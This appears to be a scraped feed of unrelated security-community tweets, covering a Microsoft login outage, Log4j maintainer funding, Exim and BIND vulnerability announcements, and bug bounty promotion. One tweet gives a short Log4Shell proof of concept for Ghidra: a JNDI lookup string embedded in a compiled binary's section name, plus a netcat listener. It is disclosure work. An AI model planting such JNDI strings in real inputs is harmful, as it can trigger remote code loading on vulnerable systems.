uhmm what's going on at @Microsoft, their login experience has been broken for over 24 hours now. The comms team seems to have declared victory and moved on? Am I overreacting, or is this unusually long? I don’t recall problems like this dragging on in the past.
We’ve confirmed service health has returned to normal and reporting users that have completed the additional steps are able to access Outlook and Hotmail. For the list of mitigation steps and more information, please review the attached screenshot or visit
https://t.co/pYdahqxDv3 > Microsoft consumer products > https://t.co/GURUiPKrYH.
If developers dont know that untrustred data should not be passed to a JNDI lookup op then WE (the security community) have failed them. Its not THEIR fault
This is the maintainer who fixed the vulnerability that's causing millions(++?) of dollars of damage.
"I work on Log4j in my spare time"
"always dreamed of working on open source full time"
"3 sponsors are funding @rgoers's work: Michael, Glenn, Matt"
People, what are we doing.
Ghidra's vulnerable to log4j:
__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}
$ gcc hello.c
$ nc -l 1234
Load into Ghidra; it connects to 127.0.0.1:1234.
Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1
https://t.co/Qu1psCjtY6
#OBTS was just surreal. many thanks to everyone for the warm reception, you can find my slides detailing the story behind 5 app/macro sandbox escapes stemming from one root cause here: https://t.co/DXktTvGrp0
Are you an IDA Pro or Ghidra wizard 🧙♂️ Put your reverse engineering & binary exploitation skills to the test on new @okta binaries during our #oktabash2021 ⭐
Apply below ⬇️
https://t.co/KhBYCdGL3H
#bugbounty#bugbountytips
Qualys Research Team discovered 21 severe vulnerabilities in Exim, the mail transfer agent (MTA) responsible for 60% of internet mail traffic. #21Nails could allow a remote attacker to gain full root privileges on the target server & execute commands. https://t.co/OhaT7stBPQ
Looking for an unauthenticated RCE in #BIND? How about one that's been around for 15 years? An anonymous researcher submitted just that to ZDI, and @_wmliang_ has a full analysis of this now patched bug. Read the details then patch. https://t.co/gJxFAQL0gO